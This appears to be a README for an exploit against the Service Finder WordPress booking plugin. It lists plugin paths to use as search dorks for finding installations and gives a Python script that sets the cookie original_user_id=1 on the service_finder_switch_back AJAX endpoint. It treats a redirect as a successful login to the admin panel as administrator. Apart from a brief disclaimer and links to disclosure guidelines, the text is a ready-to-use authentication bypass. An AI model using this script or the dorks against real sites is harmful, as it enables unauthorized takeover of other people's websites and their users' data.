🔍 WordPress Plugin Exploit — Service Finder (sf-booking)

Overview

The Service Finder plugin is a booking and service management system for WordPress.
Because of its popularity and complexity, some versions have had security issues related to unauthenticated AJAX endpoints or improper access controls.

This README explains how researchers can safely fingerprint installations and follow ethical practices (dbr krk).

Vulnerable WP dorks

/wp-content/plugins/service-finder/

/wp-content/plugins/service-finder-bookings/

/wp-content/plugins/sf-booking/

Exploit Workflow

⚠️ Disclaimer:
These searches are for educational and research use only. Do not attempt unauthorized access or exploitation.

import requests

url = "https://example.com/wp-admin/admin-ajax.php?action=service_finder_switch_back"
cookies = {
    'original_user_id': '1',
}

r = requests.get(url, cookies=cookies)
print(r.status_code)
print(r.text)

• 300-399: ✅ VULN ! Redirect to admin panel as ADMIN
• 400-499: ⚠️ Client error — the request was invalid or unauthorized, not vuln

References

• WPScan Plugin Database — https://wpscan.com/plugins/
• National Vulnerability Database (NVD) — https://nvd.nist.gov/
• OWASP — Google Dorking / reconnaissance techniques
• HackerOne Disclosure Guidelines — https://www.hackerone.com/disclosure-guidelines

Author

Taha Mounir